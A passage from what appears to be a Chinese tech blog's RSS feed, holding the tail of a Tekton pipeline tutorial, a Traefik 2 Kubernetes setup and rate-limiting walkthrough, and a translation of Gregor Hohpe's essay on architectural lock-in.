      volumeMounts:
        - name: trans
          mountPath: /share
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里需要使用 Pipeline 对象把步骤连接起来。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: tekton.dev/v1alpha1
kind: Pipeline
metadata:
  name: pipeline1
spec:
  tasks:
  - name: step1
    taskRef:
      name: download
  - name: step2
    runAfter: [step1]
    taskRef:
      name: display
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的定义，使用 Pipeline 对象把两个步骤串联起来，其中使用 &lt;code&gt;taskRef&lt;/code&gt; 对我们定义的 &lt;code&gt;download&lt;/code&gt; 和 &lt;code&gt;display&lt;/code&gt; 两个 Task 对象进行引用，并且使用 &lt;code&gt;runAfter&lt;/code&gt; 数组定义先后顺序。&lt;/p&gt;

&lt;p&gt;和 &lt;code&gt;TaskRun&lt;/code&gt; 类似，Pipeline 定义之后，还需要用 PipelineRun 对象来执行一次，上面的 Task 中只定义了 &lt;code&gt;volumeMounts&lt;/code&gt;，具体的 Volume 就要在 PipelineRun 中定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: tekton.dev/v1alpha1
kind: PipelineRun
metadata:
  name: pprun1
spec:
  pipelineRef:
    name: pipeline1
  podTemplate:
    volumes:
      - name: trans
        persistentVolumeClaim:
          claimName: trans
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 PipelineRun 提交到集群之后，就可以看到，Pipeline 开始运行，可以使用 &lt;code&gt;kubectl get&lt;/code&gt; 和 &lt;code&gt;kubectl logs&lt;/code&gt; 来查看运行情况。&lt;/p&gt;

&lt;h2 id=&#34;结果&#34;&gt;结果&lt;/h2&gt;

&lt;p&gt;这个项目还是很符合它的名字的描述的，真的只有 Pipeline 而已，它的最重要职责就是用 CRD 进行解耦，用 Step-&amp;gt;Task-&amp;gt;Pipeline 的三级形式对 CICD 中的动作进行抽象和分离；用 Task/TaskRun 以及 Pipeline/PipelineRun/Resource 的组合，把运行环节和输入输出内容进行分离。这样一来，就提供了一个稳定、可重构和组合的过程引擎，以及可定制的执行能力。&lt;/p&gt;

&lt;p&gt;Tekton 还提供了一些其它周边项目，例如 Dashboard、Trigger 等，能给 Pipeline 项目提供一定的帮助。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>掀起 Traefik 2 的盖头来</title>
      <link>/post/touching-traefik-2/</link>
      <pubDate>Sun, 22 Sep 2019 17:54:03 +0800</pubDate>
      <guid>/post/touching-traefik-2/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://docs.traefik.io/v2.0/&#34; target=&#34;_blank&#34;&gt;Traefik 2.0&lt;/a&gt; 发布也有几天了，根据通稿来看，有几个新的功能值得注意：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;开始使用 &lt;a href=&#34;https://docs.traefik.io/v2.0/providers/kubernetes-crd/&#34; target=&#34;_blank&#34;&gt;CRD&lt;/a&gt; 来完成原本使用 &lt;a href=&#34;https://docs.traefik.io/v2.0/providers/kubernetes-ingress/&#34; target=&#34;_blank&#34;&gt;Ingress + 注解&lt;/a&gt;来完成的任务。&lt;/li&gt;
&lt;li&gt;加入了一个&lt;a href=&#34;https://docs.traefik.io/v2.0/middlewares/overview/&#34; target=&#34;_blank&#34;&gt;中间件&lt;/a&gt;概念，来提供丰富多样的控制能力。&lt;/li&gt;
&lt;li&gt;终于支持 TCP 了。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我的测试集群中经常会使用 Traefik 做 Ingress，又有 &lt;a href=&#34;https://github.com/containous/maesh&#34; target=&#34;_blank&#34;&gt;Maesh&lt;/a&gt; 加入 Service Mesh 的暖场战之中，所以 Traefik 2.0 还是值得看看的。它的文档做的还不太完善，着实花了一段时间来摸索，这里做个记录，方便后续的使用和学习。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;我知道开篇说安装特别 Low，但是奇葩的是这个版本的安装文档居然只提到了一个 Docker 下的安装过程，只是在一个不起眼的角落里有一个&lt;a href=&#34;https://docs.traefik.io/v2.0/user-guides/crd-acme/&#34; target=&#34;_blank&#34;&gt;针对 Kubernetes 环境的安装清单&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;我做了一些修改，源码参见：&lt;/p&gt;

&lt;script type=&#34;application/javascript&#34; src=&#34;https://gist.github.com/fleeto/0666a58e83c5b201e61ab2fca779ace2.js&#34;&gt;&lt;/script&gt;


&lt;p&gt;这里有一点需要注意的，Traefik 缺省开放三个端口：80、443 和 8080，其中 8080 是管理端口。建议将其分为两个服务，把管理端口和业务端口做个隔离，方便使用不同策略进行访问控制。另外 Configmap 中加入了访问日志方便调试，可酌情关闭。&lt;/p&gt;

&lt;p&gt;例如下面把 Ingress 端口分配给 Loadbalancer，而管理端口仅设置为 ClusterIP。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: v1
kind: Service
metadata:
  name: traefik-ingress
  namespace: traefik-system
  labels:
    app: traefik
spec:
  ports:
  - name: https
    protocol: TCP
    port: 443
    targetPort: 443
  - name: http
    protocol: TCP
    port: 80
    targetPort: 80
  type: LoadBalancer
  selector:
    app: traefik
---
apiVersion: v1
kind: Service
metadata:
  name: traefik-admin
  namespace: traefik-system
  labels:
    app: traefik
spec:
  ports:
  - name: admin
    protocol: TCP
    port: 8080
    targetPort: 8080
  type: ClusterIP
  selector:
    app: traefik
---
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;配置文件很简单，只要加入 Kubernetes 内部接口的端点即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;providers:
  kubernetescrd:
    endpoint: https://kubernetes.default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后给 80 和 443 端口所在的 Loadbalancer 提供一个域名，用于后续的规则设置。&lt;/p&gt;

&lt;h2 id=&#34;部署测试服务&#34;&gt;部署测试服务&lt;/h2&gt;

&lt;p&gt;随便部署一个 HTTP 服务，例如 Istio 用到的 &lt;a href=&#34;https://raw.githubusercontent.com/istio/istio/master/samples/httpbin/httpbin.yaml&#34; target=&#34;_blank&#34;&gt;HTTPBIN&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个服务开放了 8000 端口提供 HTTP 服务，后面我们会用这个服务进行限流测试。&lt;/p&gt;

&lt;h3 id=&#34;开放-dashboard&#34;&gt;开放 Dashboard&lt;/h3&gt;

&lt;p&gt;前面把 Dashboard 的服务类型设置为 &lt;code&gt;ClusterIP&lt;/code&gt;，创建一个 CRD 就能够通过 Traefik 开放服务了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: traefik.containo.us/v1alpha1
kind: IngressRoute
metadata:
  name: traefik-dashboard
spec:
  entryPoints:
    - web
  routes:
  - match: Host(`traefik.microservice.xyz`)
    kind: Rule
    services:
    - name: traefik-admin
      port: 8080
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里使用了一个表达式来对流量进行筛选，表达式目前的支持范围如下表所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/match.png&#34; alt=&#34;Match&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来用了几个不同级别的对象：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;entryPoints：开放端口，例如我们部署中的 &lt;code&gt;web&lt;/code&gt; 或 &lt;code&gt;websecure&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;routes：路由规则。&lt;/li&gt;
&lt;li&gt;match：一个匹配表达式，这里我们指定匹配域名 &lt;code&gt;traefik.microservice.xyz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;name 和 Port：此处使用 Service 的定义&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;提交之后，就可以使用指定域名访问 Dashboard 了：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/dashboard.png&#34; alt=&#34;Dashboard&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当然了，这个并不重要。&lt;/p&gt;

&lt;h3 id=&#34;开启一个插件&#34;&gt;开启一个插件&lt;/h3&gt;

&lt;p&gt;用同样的方法，给 HTTPBIN 开放一个路由：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: traefik.containo.us/v1alpha1
kind: IngressRoute
metadata:
  name: httpbin
spec:
  entryPoints:
  - web
  routes:
  - kind: Rule
    match: Host(`httpbin.microservice.xyz`)
    services:
    - name: httpbin
      port: 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在路由定义中，可以使用插件，对该路由的进出流量进行处理，例如重定向、认证、重试等功能。&lt;/p&gt;

&lt;p&gt;Ratelimit 的用法很简单，&lt;a href=&#34;https://docs.traefik.io/middlewares/ratelimit/&#34; target=&#34;_blank&#34;&gt;官网文档&lt;/a&gt;也有说明，我们模仿写一个：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: traefik.containo.us/v1alpha1
kind: Middleware
metadata:
  name: httpbin-traffic
spec:
  rateLimit:
    burst: 1
    average: 2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中的单位稍显死板，是 qps。但是怎么把这个对象加入到 Route 里面就不太明显了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: traefik.containo.us/v1alpha1
kind: IngressRoute
metadata:
  name: httpbin
...
    services:
    - name: httpbin
      port: 8000
    middlewares:
    - name: httpbin-traffic
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交之后，可以看看 Dashboard 去看看这条规则的详情：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/route.png&#34; alt=&#34;route&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这条路由的 Middleware 中加入了新的元素，下面可以测试一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ siege httpbin.microservice.xyz/get
** SIEGE 4.0.4
** Preparing 25 concurrent users for battle.
The server is now under siege...
HTTP/1.1 200     1.68 secs:     398 bytes ==&amp;gt; GET  /get
HTTP/1.1 429     1.68 secs:      17 bytes ==&amp;gt; GET  /get
HTTP/1.1 429     1.68 secs:      17 bytes ==&amp;gt; GET  /get
HTTP/1.1 429     1.68 secs:      17 bytes ==&amp;gt; GET  /get
HTTP/1.1 429     1.68 secs:      17 bytes ==&amp;gt; GET  /get
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到极少出现 200 的响应码，多数都是 429，证明限流生效了。&lt;/p&gt;

&lt;h2 id=&#34;废话&#34;&gt;废话&lt;/h2&gt;

&lt;p&gt;真是不知道 Kubernetes 用户哪里对不起 Traefik 了。。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>不要被锁定在反锁定的路上</title>
      <link>/post/oss-lockin/</link>
      <pubDate>Mon, 09 Sep 2019 11:31:21 +0800</pubDate>
      <guid>/post/oss-lockin/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://martinfowler.com/articles/oss-lockin.html#Open-source-hybrid-multi-cloudLock-inFree&#34; target=&#34;_blank&#34;&gt;Don&amp;rsquo;t get locked up into avoiding lock-in&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://architectelevator.com/&#34; target=&#34;_blank&#34;&gt;Gregor Hohpe&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;减少或者避免被锁定，会消耗架构设计工作中的很大一部分成本。这是一个神圣的职责：架构就是提供选项，而锁定则刚好相反。然而锁定不是非白即黑的：摆脱某一方面的锁定，往往意味着在其它方面被锁定。同样地，开源软件之类的流行概念，据说天然的消除锁定，这并非事实。是时候详细考察一下锁定问题，防止我们被锁定在反锁定的路上。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;架构师的主要职责之一就是&lt;a href=&#34;https://architectelevator.com/architecture/architecture-options/&#34; target=&#34;_blank&#34;&gt;提供选择&lt;/a&gt;。这些选项让系统能够容忍变化，有了选择的自由，我们可以耐心的等待信息完整之后才作出决定，以及应对一些预计外的事件。锁定的含义则刚好相反：锁定使得软件很难从一种方案切换到另一种方案。很多架构师可能会将锁定视为大敌，同时认为自己守护着 IT 世界中的自由，在这世界中，组件可以被随意替换和互联。&lt;/p&gt;

&lt;p&gt;但是架构从来都不简单——这是个事关妥协的生意。经验丰富的架构师知道，锁定的重要性，可能会超过避免锁定的重要性。锁定有很多方面，有时候还可能是最佳方案。所以我们进入&lt;a href=&#34;https://martinfowler.com/articles/architect-elevator.html&#34; target=&#34;_blank&#34;&gt;架构师电梯&lt;/a&gt;，仔细观察一下锁定这个事。&lt;/p&gt;

&lt;h2 id=&#34;开源-混合多云-无锁定&#34;&gt;开源+混合多云=无锁定&lt;/h2&gt;

&lt;p&gt;近年来，我们用来部署软件的平台越来越强——现代云平台不止告诉我，&lt;a href=&#34;https://martinfowler.com/articles/architect-elevator.html&#34; target=&#34;_blank&#34;&gt;我们的照片是小狗还是饼干&lt;/a&gt;，它们还会编译代码，进行部署，配置必要的基础设施，并保存数据。&lt;/p&gt;

&lt;p&gt;这种便利性和生产力的急剧提高，带来了全新的锁定方式。吸引了很多架构师注意的混合多云方案，就是一个用于审视锁定问题的好例子。假设你有一个要部署到云上的应用。这很简单，但是在架构师的视角来看，却会有很多选择、很多权衡，尤其是在锁定方面。&lt;/p&gt;

&lt;p&gt;你可能想要把你的应用部署在容器里。这听起来很棒，但是你会使用 &lt;a href=&#34;https://aws.amazon.com/ecs/&#34; target=&#34;_blank&#34;&gt;ECS&lt;/a&gt; 来运行它么？这是 AWS 的专属。考虑 Kubernetes ？它是开源的而且能够在绝大多数环境上运行——其中也包括自建设施。问题解决了么？还没有——你被锁定在 Kubernetes 上了——想想那些 YAML 吧。所以这是从锁定走向锁定。如果你使用的是托管 Kubernetes 例如 GKE 和 EKS，你还可能被锁定到 Kubernetes 的特定版本和特定扩展上。&lt;/p&gt;

&lt;p&gt;如果想要让软件运行在私有设施中，也还有 &lt;a href=&#34;https://aws.amazon.com/outposts/&#34; target=&#34;_blank&#34;&gt;AWS Outposts&lt;/a&gt; 的选项，所以你还是有得选。但这还是 AWS 的专有品种。你可能已经被锁定到 VMWare，它也能和 VMWare 集成，所以这有什么不同么？Google 的 Anthos 也是同样产品，它使用开源组件构建而成，但还是专属品：你可以把应用迁移到不同的云上——前提是你继续使用 ANthos。所以这就是锁定的意思，对吧？&lt;/p&gt;

&lt;p&gt;另外如果你把你的部署自动化和你的应用运行时漂亮的分割开来，是否意味着切换基础设施更容易了？降低锁定的风险了？嘿，甚至还有跨平台的基础设施即代码的工具呢，是不是就完全消灭这些担忧了？&lt;/p&gt;

&lt;p&gt;至于存储方面，AWS S3 如何？其它云供应商提供了 S3 兼容的 API，所以 S3 可以视为兼容多云，没有锁定了，但 S3 的确是 AWS 的专属阿。还可以把所有数据访问藏到抽象层之后，然后适配本地环境，这样总算可以了？&lt;/p&gt;

&lt;p&gt;看起来避免锁定不那么简单，甚至会让你迷失在逃离锁定之路上。尽管如此，我推荐 Simon Wardley 的 &lt;a href=&#34;https://twitter.com/swardley/status/908031162668474368&#34; target=&#34;_blank&#34;&gt;Take on Hybrid Cloud&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;锁定的阴影&#34;&gt;锁定的阴影&lt;/h2&gt;

&lt;p&gt;电梯架构师（乘着&lt;a href=&#34;https://architectelevator.com/&#34; target=&#34;_blank&#34;&gt;架构师电梯&lt;/a&gt;上上下下的人）眼中的锁定是灰色的，而不是象有些人的眼里的非黑即白。在考虑系统设计时，他们会意识到象锁定或者耦合这种事情并不是一个非此即彼的事情。两个系统并不能简单的判断耦合与否，同样地，也无法简单的判断是否被锁定到一个产品。这种问题的内部是有一些微妙之处的。例如锁定问题可以拆分成多个维度：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;供应商锁定&lt;/strong&gt;：IT 人嘴里的锁定很多时候指的是这种情况。它描述的是难于从现有供应商切换到其竞争对手。举两个例子，如果想要从 Siebel CRM 迁移到 SalesForce CRM，或者从 IBM DB2 数据库切换到 Oracle，都会是伤筋动骨的事情，这就是锁定。供应商或多或少的会从这种锁定中受益。这种锁定中往往包含了对应的商业安排，例如长期授权和支持协议能够获得更好的折扣。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;产品锁定&lt;/strong&gt;：在从一个供应商的产品迁移到另一个供应商的产品时，供应商和产品都发生了变化，所以两者是可以合二为一的。开源产品能够避免厂商锁定，但是并无法避免产品锁定：如果你在使用 Kubernetes 或 Cassandra，就当然是被锁定到了特定产品的 API、配置和功能上了。如果在一个专业（尤其是企业）环境中工作，你可能还需要商业支持，这样就又产生了供应商锁定。深度定制、集成以及专用扩展，都是产品锁定的形态：这些做法都提高了更换产品的难度，开源产品也无法避免。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;版本锁定&lt;/strong&gt;：除了被锁定在产品上，还可能被锁定到特定版本。新版本如果破坏了现存的定制和扩展（SAP？）。有些版本更新可能还要你重做应用——比如 AngularJS 和 Angular2。还有更差劲的情况就是，版本锁定的传染：某特定的产品版本需要特定（通常是过期的）操作系统版本，或者类似的情况，这会让迁移的尝试变得困难重重。如果供应商决定弃用你的版本，或者停止整条产品线，这种锁定造成的后果就很严重：需要在失去支持和大动干戈之间作出选择。情况还可能进一步恶化：例如你的旧版本系统中发现了严重漏洞，却无法找到对应的更新。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;架构锁定&lt;/strong&gt;：还有可能被锁定到特定类型的架构之中。例如，在大量使用 Kubernetes 的过程中，你可能会构建很多的小服务，这些小服务可以以容器的形式进行部署，对外提供 API。如果想要迁移到 Serverless 架构，就要把服务的粒度向单一功能的方向进行调整，把状态管理转移到外部，实现事件驱动架构等等。这种变更往往意味着对应用架构的整体修改。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;平台锁定&lt;/strong&gt;：产品锁定的一种特例是平台锁定，常见于云平台。这种平台不仅支持应用运行，可能还掌握了你的用户账号以及相关的访问权限、安全策略、基础设施分配等方面。它们还提供了应用级别的服务，例如存储或机器学习，这通常也是专有的。远离这些服务看起来好像能够减少平台锁定，但是这种做法就否定了上云的主要动机。这就让人进退两难了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;技能锁定&lt;/strong&gt;：在开发人员开始熟悉特定的产品或架构之后，技能锁定就产生了：要使用不同的产品和技术，就需要重新培训（或者招聘）开发人员，这都需要投入。技能的可用性是当今 IT 的一个主要约束，这种锁定也就非常实际了。有些小众的企业产品只有很少的开发者，这就直接导致了开发成本的上升。这种情况在使用定制语言，或者”只需配置“/&amp;ldquo;无需代码&amp;rdquo;的情况下尤为常见。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;法务锁定&lt;/strong&gt;：你可能会因为法务问题锁定到特定的解决方案，合规要求就是个常见情况。假设一个云供应商的数据中心在国外，你可能就无法把数据迁移到这个供应商的云上。有的软件即使是可以顺畅的在云上运行，供应商的授权可能也不允许它迁移上云。如果你坚持上云，就会违反授权条款。法务方面的限制远比我们平时所理解的要多，我们面临的选择好像：你的小飞机是由 70 年代设计的使用含铅汽油的过时引擎驱动的，然而新引擎的采用，可能产生巨大的法律风险。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;智力锁定&lt;/strong&gt;：最微不足道的也是最危险的锁定就是对思维的锁定。在和特定的供应商和架构合作之后，可能会把一些假设吸收到你的决策依据里，这可能会导致你拒绝其它方案。例如在面对横向扩展架构时，你可能因为它的扩展不够线性（两倍硬件没有产生两倍性能），得出效率低下的结论，从而拒绝这种方案。在技术层面，这种思考方式忽略了一个问题，这种方案的主旨在于扩展性，而不是效率。或者你会讨厌快速的发布周期，因为你相信频繁的变更会导致更多的缺陷。还有你可能会被告知，编码很昂贵、耗时并易错，所以最好用配置完成一切。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;总的说来，锁定绝对不是简单的二元世界，理解了各种不同的锁定方式，有助于作出更加清晰的决策。这个列表也戳穿了一些常见的谬误，例如开源软件神奇的解除锁定的能力。开源软件能够防止厂商锁定，但是绝大多数其它的锁定同样存在。这当然不是说开源软件的坏话，只是说，开源软件并非治愈锁定的良药。&lt;/p&gt;

&lt;h2 id=&#34;使用模型做好决策&#34;&gt;使用模型做好决策&lt;/h2&gt;

&lt;p&gt;有经验的架构师不会只盯住阴暗面，他们会执行优秀的决策纪律。纪律很重要，因为我们的决策能力往往比我们的自我感觉要差得多。如果这方面有疑问，建议阅读 Kahneman 的 &lt;a href=&#34;https://amzn.to/2Xnx7od&#34; target=&#34;_blank&#34;&gt;Kahneman&amp;rsquo;s Thinking, Fast and Slow&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;提高决策能力的最有效方法就是使用模型。就算是简单的模型，也能在改善决策的过程中提供很大帮助：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;简单但令人回味的模型是伟大科学家的标志，过分的细化和参数化通常意味着平庸。
&lt;a href=&#34;https://en.wikipedia.org/wiki/All_models_are_wrong#Quotations_of_George_Box&#34; target=&#34;_blank&#34;&gt;George Box&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;所以不要嘲笑深受管理咨询行业宠爱的二乘二矩阵，我们接下来会发现，这是一种非常简单有效的模型。&lt;/p&gt;

&lt;p&gt;下一个事关模型的关键点：常识告诉我们，面对不确定性，必须尽快响应——毕竟世界一直在变。但是事与愿违：当我们必须处理很多相互依赖、高度不确定性以及小概率事件时，糟糕的决策会把事情搞得更糟。模型能帮助我们把更多的结构化和规律加入决策过程。是否接受锁定、接受什么样的锁定，都是这样的问题，所以我们要使用一些模型。&lt;/p&gt;

&lt;h2 id=&#34;关于锁定的二乘二矩阵&#34;&gt;关于锁定的二乘二矩阵&lt;/h2&gt;

&lt;p&gt;一个简单的模型能够让我们克服以锁定为耻的观念。首先我们必须意识到，很难完全杜绝锁定的发生，因此一定程度的锁定在所难免。第二，如果锁定能带来与之相配的收益，那么我们也会乐见其成的，例如一个竞争对手所不具备的的独特的功能。&lt;/p&gt;

&lt;p&gt;我们把这些因素用一个最简单的模型来表达——二乘二矩阵：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/lockin_matrix.png&#34; alt=&#34;lockin_matrix.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上面的矩阵使用以下的两个维度来描述我们的选择：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;切换成本（也就是锁定）：对我们来说，迁移到别的方案有多难？&lt;/li&gt;
&lt;li&gt;唯一的实用价值：我们从这个解决方案中获取了什么无法被其它工具取代的好处？&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们可以看看这四个分区了：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Disposable&lt;/strong&gt;：没有独特功能且易于更换的组件是可以不太担心的。我们可以和他们维持现状，如果遇到问题，可以轻松的进行替换。普通的东西，普通的对待就很好。例如很多开发者的 IDE（EMACS 可能是个例外）都是这样的：随意混合搭配，无需过于依赖。存储你所有照片和个人数据的云存储，很大程度上把你的手机也变成了可抛弃的，稍候还会对这个例子进行更多介绍。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Accepted Lock-in&lt;/strong&gt;：这个区域指的是把你锁定到特定产品和供应商的组件，但是这种锁定是有回报的——得到了独特的功能。虽然我们提倡减少锁定，但是这种交换相对来说是比较容易接受的。例如使用了 Google Cloud 的 BigQuery 或者 AWS 的 Bare Metal Instance，很明显就是被锁定了，然而这个锁定是根据收益作出的决策。如果是一个小应用，使用 AWS 原生服务也是可以的，这是因为没有迁移的需要，而缩减开发和运维成本是更重要的事情。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Caution&lt;/strong&gt;：这部分是最不受欢迎的区域了，产生了锁定，但是又没有与之想匹配的回报。传统的关系数据库就可以放到这个位置——使用商用数据库真的增加了你的收入了么？没有。然而向外迁移可能需要很大投入。如果为发射到外太空的嵌入式系统选择了特定的硬件，这也没什么问题——几乎没有迁移的机会。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ideal&lt;/strong&gt;：这是最佳区域——提供了独特的实用价值，但是还能够方便的切换。听起来这好像是我们的理想境界，但是你会发现这个区域的定义是矛盾的：如果一个解决方案提供了&lt;strong&gt;唯一&lt;/strong&gt;的实用价值，其它竞品无法提供，那他的切换就是困难的。S3 可能就是这个类别中的一个例子：多个云供应商都接受了同样的 API，迁移出去，例如迁移到 GCP 相对来说是很方便的。每个实现都会在某些方面有一些明显优势，要保护跨平台的可移植性，很重要的一点就是：不允许 API 保留授权或者取得专利。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个模型的确很简单，把你的软件（或者硬件）组件放到这个矩阵里面是个值得尝试的做法。这样的方法不仅为你的风险进行了可视化，还把你的决策传达给了利益相关者。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/lockin_example.jpg&#34; alt=&#34;lock in example&#34; /&gt;&lt;/p&gt;

&lt;p&gt;举一个日常的例子，你可能决定使用下列物品，这些物品有各自的功能，也有锁定风险（从右上角开始逆时针方向）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;你所钟爱的 iPhone 把你锁定到了供应商的生态系统中，但是也给了你独有的体验，所以你认为这是可以接受的锁定。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;移动通信服务商的合约把你锁定到了单一的网络上，但是各个服务商的区别其实不大，所以把它放到 &lt;strong&gt;Caution&lt;/strong&gt; 是合适的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;充电器有标准接口，不幸的是很多 iPhone 不是，但是还有各种转换装置让这个小玩意处在 &lt;strong&gt;Disposable&lt;/strong&gt; 位置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;很多 App，例如 Messaging，提供了功能，例如和朋友进行联系，但是他们的的设计就是方便切换的，例如通过手机的联系人名单，所以可以放在 &lt;strong&gt;Ideal&lt;/strong&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里要注意的就是唯一实用价值：每个供应商都会提供一些唯一功能——这就是差异化。然而这里需要关注的是这些功能是否能转化为唯一价值。例如有的云供应商提供了能够服务于十亿用户的强大全球网络。这令人印象深刻，也具备唯一性，但这对普通的企业来说却没什么意义，他们可能只服务于百万用户，也仅在单一国家内提供服务。当然也有人在有限速的小国家开法拉利的，并非所有决定都是理性的，但法拉利和云平台不同，可能给出不同的实用价值。&lt;/p&gt;

&lt;h2 id=&#34;锁定的实际成本&#34;&gt;锁定的实际成本&lt;/h2&gt;

&lt;p&gt;这个简单的矩阵太有用了，完全停不下来。前面的矩阵把切换成本作为单一元素（维度），现在可以将其拆分为两个维度：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/lockin_cost.png&#34; alt=&#34;lockin cost&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个矩阵把替换的成本从替换的可能性（主动或者被动）拆分开来。较低的替换可能性结合较低的替换成本应该不会令人困扰，但是相对的替换成本较高、又有较高替换概率的就值得注意了。在另外一角，虽然替换成本高企，但是发生的可能性不大——这一区域可能需要做一些保全措施，措施包括限制更改范围，或者增加运维成本。你也可以选择接受这种风险——在 Oracle 和 DB2 之间进行切换的机会并不多。最后如果切换的可能性很大，成本又不高，那就无需费神了——拥抱变化，设计系统，完成切换。但奇怪的是，尽管大量的小范围变化很容易实现，但这种场景往往不会象左上角那样得到大量关注，这就是决策过程中经常出现的错误：难于完成的戏剧化场景，往往因为一个“万一”，吸引了更多的注意力。&lt;/p&gt;

&lt;p&gt;在我们谈论锁定的意愿时，可能需要在多个角度考虑一下切换的理由：供应商退出业务、提价、或者无力支持现有规模以及功能需求。有趣的是，减少锁定的愿望经常成为谈判的手段：在续约谈判中，你可能会提示你的供应商，在产品架构设计角度来看，从他们的产品中切换是可行的，成本也是可以接受的。这样你就给出了 BATNA（&lt;a href=&#34;https://en.wikipedia.org/wiki/BATNA&#34; target=&#34;_blank&#34;&gt;Best Alternative To a Negotiated Agreement&lt;/a&gt;）够低的信息。这种架构方式虽然不一定会用起来，但它会产生实际的威慑力，就如冷战期间的物资储备一样。你可能只是伪装，并不会真的去除锁定，但是这种情况下，你最好是个好玩家，以免被供应商翻了底牌——比如和你的开发人员打探消息。&lt;/p&gt;

&lt;h2 id=&#34;减少锁定-执行价格&#34;&gt;减少锁定：执行价格&lt;/h2&gt;

&lt;p&gt;再回到我们起初提到的选项类比问题，如果避免锁定给了你（多个）选项，那么切换成本就是这个选项的执行价格。有价值的选项应该能降低切换成本。我们当然希望所有系统都能在绿色区域中，具备最小的切换成本，但是实际发生的投资可能并不总能降低。&lt;/p&gt;

